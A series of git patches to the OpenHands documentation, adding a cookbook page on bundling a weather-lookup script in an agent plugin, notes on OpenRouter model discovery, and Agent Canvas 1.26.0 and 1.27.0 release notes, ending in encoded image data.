Next Steps + + + + Compare OpenHands Enterprise against the open-source offerings. + + + Size your deployment from peak concurrent sandboxes. + + + Deploy OpenHands Enterprise into your own Kubernetes cluster using Helm. + + + Understand how conversations map onto sandboxes and Agent Servers. + + From 703d1dec09653d45f182034ebd00194c182128d3 Mon Sep 17 00:00:00 2001 From: Engel Nyst Date: Fri, 9 Oct 2026 18:39:45 +0200 Subject: [PATCH 57/97] chore: remove CODEOWNERS from docs (#918) --- .github/CODEOWNERS | 4 ---- 1 file changed, 4 deletions(-) delete mode 100644 .github/CODEOWNERS diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS deleted file mode 100644 index 8c01eee5e..000000000 --- a/.github/CODEOWNERS +++ /dev/null @@ -1,4 +0,0 @@ -/openapi/V0_openapi.json @tofarr -/openapi/agent-sdk.json @xingyaoww @enyst -/sdk/ @xingyaoww @enyst -/success-stories/ @jamiechicago312 \ No newline at end of file From bb02b4eae847d1cc6bc831428b41fdff5617c74d Mon Sep 17 00:00:00 2001 From: "openhands-release-bot[bot]" <290150379+openhands-release-bot[bot]@users.noreply.github.com> Date: Fri, 9 Oct 2026 13:48:31 -0400 Subject: [PATCH 58/97] docs(cookbook): sync from OpenHands/enterprise-cookbook (#920) Syncs the Enterprise Cookbook tab with OpenHands/enterprise-cookbook@25bf9b76297e83418512f05156e56b023fe5aec5. Every file under `cookbook/` and the Enterprise Cookbook tab in `docs.json` are generated from that repository. Change them there, not here; edits made directly in this repository are overwritten by the next sync. _Opened automatically by the docs-publish workflow in OpenHands/enterprise-cookbook ([run](https://github.com/OpenHands/enterprise-cookbook/actions/runs/37968207020))._ Co-authored-by: openhands-release-bot[bot] <290150379+openhands-release-bot[bot]@users.noreply.github.com> --- cookbook/index.mdx | 4 + cookbook/plugin-with-script.mdx | 255 ++++++++++++++++++++++++++++++++ docs.json | 1 + 3 files changed, 260 insertions(+) create mode 100644 cookbook/plugin-with-script.mdx diff --git a/cookbook/index.mdx b/cookbook/index.mdx index 7c43013ca..d8d448c86 100644 --- a/cookbook/index.mdx +++ b/cookbook/index.mdx @@ -93,6 +93,10 @@ Extend conversations with plugins, skills, and MCP servers. Start a conversation with a plugin pre-loaded via the REST API.
+ + Bundle a script in a plugin and have its command and skill tell the agent to run it. + + Validate MCP server configs against a sandbox agent-server via POST /api/mcp/test. diff --git a/cookbook/plugin-with-script.mdx b/cookbook/plugin-with-script.mdx new file mode 100644 index 000000000..cf5a30b07 --- /dev/null +++ b/cookbook/plugin-with-script.mdx @@ -0,0 +1,255 @@ +--- +title: Plugin With Script +description: Bundle a script in a plugin and have its command and skill tell the agent to run it. +icon: file-code +--- + +{/* GENERATED from OpenHands/enterprise-cookbook@main (plugin-with-script/README.md). Edit the source, not this file. */} + + + +A plugin can ship code as well as instructions. This example's +[`city-weather/`](https://github.com/OpenHands/enterprise-cookbook/tree/main/plugin-with-script/city-weather) plugin bundles a small Python script, and its +command and skill tell the agent to run that script and show what it prints. +The agent doesn't work out the API calls itself; it runs one command. + +Put the work in a script when it should be the same every time: calling an API, +parsing a file, or formatting a report. The result is repeatable, uses fewer +tokens than having the agent improvise, and you can test the script on its own. + +## How It Works + +```mermaid +sequenceDiagram + participant U as User + participant O as OpenHands + participant A as Agent + participant S as weather.py + participant M as Open-Meteo + U->>O: /city-weather:now Tokyo + O->>O: fetch the plugin into the sandbox + O->>A: message + command text + "Skill location: …/commands/now.md" + A->>S: python3 …/skills/city-weather/scripts/weather.py "Tokyo" + S->>M: geocode the city, fetch the forecast + M-->>S: JSON + S-->>A: formatted report + A-->>U: the report, as printed +``` + +1. OpenHands fetches the plugin into the sandbox, under + `~/.openhands/cache/plugins/`. +2. The message `/city-weather:now Tokyo` triggers the plugin's command. The + agent receives the command's instructions along with the absolute path of the + file they came from. +3. The instructions say where the script is relative to that file, so the agent + runs it by its absolute path and shows the output. + +## Run It + + + + Use the companion [`load-plugin`](/cookbook/load-plugin) example: + + ```bash + cd ../load-plugin + pip install requests + export OH_API_KEY="sk-oh-..." + python load_plugin.py \ + --repo-path plugin-with-script/city-weather \ + --message "/city-weather:now Tokyo" + ``` + + + + Click to run the command on launch: + + [![Get the weather in Tokyo](https://img.shields.io/badge/Get%20the%20weather%20in%20Tokyo-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAicGx1Z2luLXdpdGgtc2NyaXB0L2NpdHktd2VhdGhlciIsICJwYXJhbWV0ZXJzIjogeyJjaXR5IjogIlRva3lvIn19XQ%3D%3D\&message=%2Fcity-weather%3Anow%20Tokyo) + + Or load the plugin and ask in your own words, such as "What's the weather in + Paris?": + + [![Open with city-weather loaded](https://img.shields.io/badge/Open%20with%20city--weather%20loaded-blue)](https://app.all-hands.dev/launch?plugins=W3sic291cmNlIjogImdpdGh1YjpPcGVuSGFuZHMvZW50ZXJwcmlzZS1jb29rYm9vayIsICJyZWYiOiAibWFpbiIsICJyZXBvX3BhdGgiOiAicGx1Z2luLXdpdGgtc2NyaXB0L2NpdHktd2VhdGhlciJ9XQ%3D%3D) + + + +The conversation runs the script once and finishes with its report: + +```text +City Weather Report for Tokyo, Japan + +- Current Time: 2026-10-10 01:30 GMT+9 +- Temperature: 62°F / 16°C +- Current Precipitation: 0.0 mm + +Precipitation Forecast (Next 4 Hours): +| Time | Probability | +|-------|-------------| +| 01:00 | 0% | +| 02:00 | 0% | +| 03:00 | 0% | +| 04:00 | 0% | +``` + +To use the skill instead of the command, send a message such as +`--message "What's the weather in Paris?"`. The skill is triggered by "weather +in", "weather for", and "forecast for", and runs the same script. + + + To test changes from a branch before they're merged, pass `--ref ` to + `load_plugin.py`. For OpenHands Enterprise, pass `--base-url` with your + install's URL, or rebuild the badges with + [`build_launch_url.py --base-url`](/cookbook/launch-plugin-badge). + + +## Run the Script Locally + +The script uses only the Python standard library and the free +[Open-Meteo](https://open-meteo.com/) API, which needs no key. Run it directly +to check it before the agent does: + +```bash +python3 city-weather/skills/city-weather/scripts/weather.py "New York" +``` + +```text +City Weather Report for New York, United States + +- Current Time: 2026-10-09 12:30 GMT-4 +- Temperature: 70°F / 21°C +- Current Precipitation: 0.0 mm +... +``` + +If the city isn't found or Open-Meteo can't be reached, it prints an error and +exits with status 1, and the instructions tell the agent to show that error. + +## How the Agent Finds the Script + +The plugin is fetched to a path in the sandbox that the plugin author can't +know in advance. When a command or skill fires, OpenHands adds the location of +its file to what the agent sees: + +```text +Skill location: /home/openhands/.openhands/cache/plugins/enterprise-cookbook-3c5c88fa6e51c50a/plugin-with-script/city-weather/commands/now.md +(Use this path to resolve relative file references in the skill content below) +``` + +So write the script's path relative to the file that refers to it: + +| File | Location given to the agent | Script path in the instructions | +| ------------------------------ | --------------------------------------- | ------------------------------------------------------- | +| `commands/now.md` | `/commands/now.md` | `/skills/city-weather/scripts/weather.py` | +| `skills/city-weather/SKILL.md` | `/skills/city-weather/SKILL.md` | `scripts/weather.py`, relative to the skill's directory | + +The command spells out the relationship so the agent doesn't have to guess: + +````markdown city-weather/commands/now.md expandable +--- +argument-hint: +description: Report the current weather and precipitation forecast for a city +--- + +# City Weather Report + +Report the weather for the city named in **$ARGUMENTS** by running the script +bundled with this plugin. Don't call the weather APIs yourself. + +## Instructions + +1. Read the city from the arguments: **$ARGUMENTS**. If it is empty, ask the + user which city they want and wait for their answer. +2. Find the script. The skill location given above is this file, + `/commands/now.md`. The script is in the same plugin at + `/skills/city-weather/scripts/weather.py`. +3. Run it with the city as its argument, quoted: + + ```bash + python3 /skills/city-weather/scripts/weather.py "" + ``` + +4. Show the script's output to the user exactly as printed. If it exits with an + error, show the error and stop. + +## Examples + +`/city-weather:now Tokyo` +`/city-weather:now New York` +```` + + + This works for commands and skills, which the agent reads. Hooks are different: + OpenHands runs them from the agent's workspace with no plugin-root path, so a + hook can't call a script bundled in its plugin. That's why the hook examples, + such as [`command-blacklist`](/cookbook/command-blacklist), put their script inline in + `hooks.json`. + + +## Where Scripts Go + +This plugin follows the +[Claude Code plugin layout](https://code.claude.com/docs/en/plugins-reference), +which OpenHands loads: + +- **A script used by one skill** goes in that skill's directory, under + `skills//scripts/`. That's where `weather.py` is. +- **A script shared by several skills, or called by hooks,** goes in `scripts/` + at the plugin root. + +The command is there so that `/city-weather:now` and the plugin's +`entry_command` can start it on launch. In OpenHands, `entry_command` and +`/:` refer to files in `commands/`, while a skill is triggered by +keywords in the message. + + + Claude Code replaces `${CLAUDE_SKILL_DIR}` and `${CLAUDE_PLUGIN_ROOT}` with + absolute paths when it loads a skill, and its docs show bundled scripts referred + to that way. OpenHands doesn't replace these variables, so the agent would see + them as literal text. It gives the agent the skill's location instead, which is + why this plugin's instructions use paths relative to the file. + + Claude Code also puts a plugin's `bin/` directory on the `PATH`. OpenHands + doesn't, so call scripts by their path. + + +## Plugin Structure + +```text +city-weather/ +├── .claude-plugin/ +│ └── plugin.json # manifest: name, entry_command, parameters +├── commands/ +│ └── now.md # /city-weather:now +└── skills/ + └── city-weather/ + ├── SKILL.md # triggered by "weather in", "weather for", "forecast for" + └── scripts/ + └── weather.py # the script both of them run +``` + +## Related + + + + Start a conversation with a plugin loaded through the REST API + + + + Build launch links and badges like the ones above + + + + A plugin whose script runs as a hook, inlined in hooks.json + + + + What plugins are and the format they follow + + + + The /launch route the badges use + + + + Supporting files in a skill directory, including scripts/ + + diff --git a/docs.json b/docs.json index 5aec7a2dc..31d19762b 100644 --- a/docs.json +++ b/docs.json @@ -681,6 +681,7 @@ "pages": [ "cookbook/launch-plugin-badge", "cookbook/load-plugin", + "cookbook/plugin-with-script", "cookbook/test-mcp-config", "cookbook/upload-skills" ] From 5dd1c5bcd84a4b5d7d35f48e9a72106b8408c875 Mon Sep 17 00:00:00 2001 From: Engel Nyst Date: Sun, 11 Oct 2026 02:04:32 +0200 Subject: [PATCH 59/97] docs(sdk): explain OpenRouter model discovery (#924) Co-authored-by: openhands --- sdk/arch/llm.mdx | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/sdk/arch/llm.mdx b/sdk/arch/llm.mdx index 80a6d92da..c914674e9 100644 --- a/sdk/arch/llm.mdx +++ b/sdk/arch/llm.mdx @@ -299,6 +299,13 @@ flowchart TB ### LLM Providers +The Agent Server's `/api/llm/models?provider=openrouter` endpoint includes the +SDK's curated OpenRouter routes even when LiteLLM's catalog omits them. Returned +identifiers keep the `openrouter/` prefix, such as +`openrouter/deepseek/deepseek-chat`, so they can be passed directly to `LLM`. +Additional models come from LiteLLM's catalog. The SDK resolves OpenRouter's +runtime context limits through the provider's endpoints API. + Provider integrations remain shared between the Software Agent SDK and the OpenHands Application. The pages linked below live under the OpenHands app section but apply verbatim to SDK applications because both layers wrap the same From ff876a3b97f5752dc8d590b76ba754a5544038ff Mon Sep 17 00:00:00 2001 From: OpenHands Bot Date: Mon, 12 Oct 2026 13:59:27 -0400 Subject: [PATCH 60/97] docs: update documentation for OpenHands v1.26.0 (#916) * docs: update documentation for OpenHands v1.26.0 Add Agent Canvas 1.26.0 release notes and register the page in docs.json. Document the authenticated backend view helper for apps, the suspended workspace screen, the Super Admin setup guide on enterprise backends, and the narrowed automation "Needs review" run status. Co-authored-by: openhands * Remove generated docs for enterprise only outputs --------- Co-authored-by: openhands Co-authored-by: Devin --- docs.json | 1 + .../usage/agent-canvas/canvas-extensions.mdx | 8 ++++ .../agent-canvas/managing-automations.mdx | 2 + .../agent-canvas/release-notes/v1.26.0.mdx | 40 +++++++++++++++++++ 4 files changed, 51 insertions(+) create mode 100644 openhands/usage/agent-canvas/release-notes/v1.26.0.mdx diff --git a/docs.json b/docs.json index 31d19762b..5dbe6284b 100644 --- a/docs.json +++ b/docs.json @@ -323,6 +323,7 @@ { "group": "Release Notes", "pages": [ + "openhands/usage/agent-canvas/release-notes/v1.26.0", "openhands/usage/agent-canvas/release-notes/v1.25.0", "openhands/usage/agent-canvas/release-notes/v1.24.0", "openhands/usage/agent-canvas/release-notes/v1.23.0", diff --git a/openhands/usage/agent-canvas/canvas-extensions.mdx b/openhands/usage/agent-canvas/canvas-extensions.mdx index 0703a3d09..28ba87dd7 100644 --- a/openhands/usage/agent-canvas/canvas-extensions.mdx +++ b/openhands/usage/agent-canvas/canvas-extensions.mdx @@ -167,6 +167,14 @@ Request paths must be root-relative, begin with exactly one `/`, and must not be The beta host API does not expose the backend origin or a WebSocket authentication capability. Use the authenticated HTTP helper, polling where appropriate, or a backend-owned bridge instead of opening a direct Agent Server WebSocket. +### Embed a Backend View + +An app can embed an app-owned HTTP UI — for example, a web editor — through the optional `host.appBackendView` helper. The helper is present only when the active Agent Server exposes the bridge contract: its `server_info` advertises the backend bridge capability and an HTTP(S) ingress URL, and the installed `@openhands/typescript-client` exports the app backend session methods. + +Call `host.appBackendView.mount({ container })` to mount the view. The helper requests a short-lived session from the discovered ingress and renders it in an iframe; the app never receives an Agent Server session key and must not construct the ingress origin or derive it from `window.location`. Canvas validates that the returned URL shares the ingress origin and applies only the server-provided sandbox tokens, rejecting top-navigation, downloads, and storage access. The host owns loading, safe errors, retry, a validated new-tab fallback, session revocation, and disposal on page unmount or backend switch. + +The feature is additive: self-contained ESM loading, routed page registration, and the native editor are unchanged. + ## Design for the Beta Lifecycle Agent Canvas may activate, mount, and dispose an app repeatedly when you enable or disable it, update it, reconnect, or switch backends. App pages should: diff --git a/openhands/usage/agent-canvas/managing-automations.mdx b/openhands/usage/agent-canvas/managing-automations.mdx index f2efa3d6b..dadbcda90 100644 --- a/openhands/usage/agent-canvas/managing-automations.mdx +++ b/openhands/usage/agent-canvas/managing-automations.mdx @@ -25,6 +25,8 @@ Click an automation to open its detail view. The detail view shows: A run can be `PENDING`, `RUNNING`, `COMPLETED`, `FAILED`, `CANCELLED`, or `SKIPPED`. A `SKIPPED` run can occur when the backend reaches its concurrency limit. Future backend statuses appear as a neutral status badge so they do not prevent you from viewing the automation. +A completed run's badge also reflects its task outcome. When the finish response has no task outcome status, the run shows a successful badge. Only an explicit unrecognized status string maps to **Needs review**. When the finish response carries an `outcome_summary` without a status, the run still shows that summary. These display rules are the same in the Activity Log, the run logs, the home health metrics, and automation insights. + ### Run Phase Automation runs surface a live **phase** that reflects a run's current state: `PENDING`, `RUNNING`, or `FAILED`. The phase appears on automation cards, in the Activity Log, and on the home screen, and updates live as a run progresses. A failed run retains its last phase after it stops. diff --git a/openhands/usage/agent-canvas/release-notes/v1.26.0.mdx b/openhands/usage/agent-canvas/release-notes/v1.26.0.mdx new file mode 100644 index 000000000..bf58d459c --- /dev/null +++ b/openhands/usage/agent-canvas/release-notes/v1.26.0.mdx @@ -0,0 +1,40 @@ +--- +title: Agent Canvas 1.26.0 +description: Release notes for Agent Canvas version 1.26.0 +--- + +# Agent Canvas 1.26.0 + +Released October 8, 2026. + +[View the full release on GitHub](https://github.com/OpenHands/OpenHands/releases/tag/v1.26.0). + +## Highlights + +- **Authenticated backend views for Apps** — An app can embed an app-owned HTTP UI through the optional `host.appBackendView` helper, which requests a short-lived session from the active Agent Server's ingress and mounts it in an iframe. See [Apps (Beta)](/openhands/usage/agent-canvas/canvas-extensions). +- **Narrowed "Needs review" run status** — A completed automation run whose finish response has no task outcome now shows a successful badge. Only explicit unrecognized statuses map to "Needs review". See [Managing automations](/openhands/usage/agent-canvas/managing-automations#run-statuses). + +## Fixes + +- An empty-response corrective nudge from the SDK renders as an informational note in chat instead of a plain assistant message. +- Error toasts show the server's message instead of raw `HttpError` text, for generic errors, LLM profile errors, and failed plugin and app installs and updates. +- Cloud organization and Git installation queries poll less often, and cloud conversation requests are scoped to the selected organization. Cloud sandbox resume retry behavior is adjusted. +- PostHog telemetry is never initialized when the browser sends Do Not Track. +- Accessibility: menus, popovers, and the conversation header menu close on `Escape` and return focus; the LLM profile row menu is keyboard-operable; icon-only composer and diff viewer buttons are named. +- Narrow-screen layout: settings and customization remain usable on tablets, home shows folder names at phone width, and the conversation drawer opens at phone width for agent and file-link tab requests. +- Unknown URLs render as an in-app not-found page. The command menu lists Model Router and Agent Context and shows `Ctrl+K` off Apple platforms. Switching from `Manage backends` redirects off backend detail pages. The "No backend is configured." toast no longer appears before a backend exists. +- MCP failed stdio connection tests are explained without the URL hint, and catalog identity is kept for repeated STDIO installs. The Files panel shows the current file body after `Refresh` and reload. The cloud VS Code action is hidden when it is unavailable. +- Automations read local run logs from the server-level bash events, show one error toast when an action fails, keep the filters popover open between choices, and show repositories and plugins stored in `preset_metadata`; repository credentials are hidden on the Git Sync status card. +- Plugin controls say "plugin", busy app switches stay inert, and workspace hooks are listed in the Available Hooks dialog on local backends. A bare `/btw` shows a toast, and `Resume` is offered only on the latest goal status. +- The macOS desktop title bar drag region is restored. + +## Maintenance + +- The bundled VS Code consumer refactor was reverted in the same release, so bundled VS Code support is unchanged. +- Added the internal `verify-openhands` agent skill and feature map, plus maintenance mapping docs. +- Weekly test sweep removed low-value tests, and several end-to-end tests were updated. Raw color lint warnings were staged. + +## Full Changelog + +- [GitHub release notes](https://github.com/OpenHands/OpenHands/releases/tag/v1.26.0) +- [Compare v1.25.0 to v1.26.0](https://github.com/OpenHands/OpenHands/compare/v1.25.0...v1.26.0) From 2c3e942eabbfe2385398551ec66fa15cad8a3219 Mon Sep 17 00:00:00 2001 From: OpenHands Bot Date: Mon, 12 Oct 2026 15:58:13 -0400 Subject: [PATCH 61/97] docs: update documentation for OpenHands v1.27.0 (#930) * docs: update documentation for OpenHands v1.27.0 Add Pi and OpenCode as built-in ACP agents, agent-reported ACP models, the DigitalOcean Managed Agents backend, and the automation setup assistant with persisted drafts. Co-authored-by: openhands * Update with more detail on using digital ocean * Add images * Add DO as LLM and update ACP agents for Pi and OpenCode * Add inline helper for using MARS_WEB --------- Co-authored-by: openhands Co-authored-by: Devin --- docs.json | 5 +- .../agent-canvas-add-backend-providers.png | Bin 0 -> 37360 bytes .../img/agent-canvas-digitalocean-agents.png | Bin 0 -> 36789 bytes .../static/img/agent-canvas-setup-step-1.png | Bin 154399 -> 65256 bytes openhands/usage/agent-canvas/acp-agents.mdx | 47 +++- .../backend-setup/digitalocean.mdx | 216 ++++++++++++++++++ .../agent-canvas/backend-setup/remote.mdx | 1 + openhands/usage/agent-canvas/backends.mdx | 11 + .../usage/agent-canvas/first-time-setup.mdx | 6 +- .../agent-canvas/managing-automations.mdx | 16 ++ .../agent-canvas/model-configuration.mdx | 6 + .../agent-canvas/release-notes/v1.27.0.mdx | 32 +++ openhands/usage/agent-canvas/setup.mdx | 2 + .../usage/agent-canvas/troubleshooting.mdx | 1 + openhands/usage/llms/digitalocean.mdx | 91 ++++++++ openhands/usage/llms/llms.mdx | 2 + 16 files changed, 426 insertions(+), 10 deletions(-) create mode 100644 openhands/static/img/agent-canvas-add-backend-providers.png create mode 100644 openhands/static/img/agent-canvas-digitalocean-agents.png create mode 100644 openhands/usage/agent-canvas/backend-setup/digitalocean.mdx create mode 100644 openhands/usage/agent-canvas/release-notes/v1.27.0.mdx create mode 100644 openhands/usage/llms/digitalocean.mdx diff --git a/docs.json b/docs.json index 5dbe6284b..f23462551 100644 --- a/docs.json +++ b/docs.json @@ -119,6 +119,7 @@ "openhands/usage/llms/openhands-llms", "openhands/usage/llms/aws-bedrock", "openhands/usage/llms/azure-llms", + "openhands/usage/llms/digitalocean", "openhands/usage/llms/google-llms", "openhands/usage/llms/groq", "openhands/usage/llms/local-llms", @@ -300,7 +301,8 @@ "openhands/usage/agent-canvas/backends", "openhands/usage/agent-canvas/backend-setup/local", "openhands/usage/agent-canvas/backend-setup/remote", - "openhands/usage/agent-canvas/backend-setup/cloud" + "openhands/usage/agent-canvas/backend-setup/cloud", + "openhands/usage/agent-canvas/backend-setup/digitalocean" ] }, { @@ -323,6 +325,7 @@ { "group": "Release Notes", "pages": [ + "openhands/usage/agent-canvas/release-notes/v1.27.0", "openhands/usage/agent-canvas/release-notes/v1.26.0", "openhands/usage/agent-canvas/release-notes/v1.25.0", "openhands/usage/agent-canvas/release-notes/v1.24.0", diff --git a/openhands/static/img/agent-canvas-add-backend-providers.png b/openhands/static/img/agent-canvas-add-backend-providers.png new file mode 100644 index 0000000000000000000000000000000000000000..7835e19e5d1988e43e64d3b5b59959481baa3075 GIT binary patch literal 37360 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 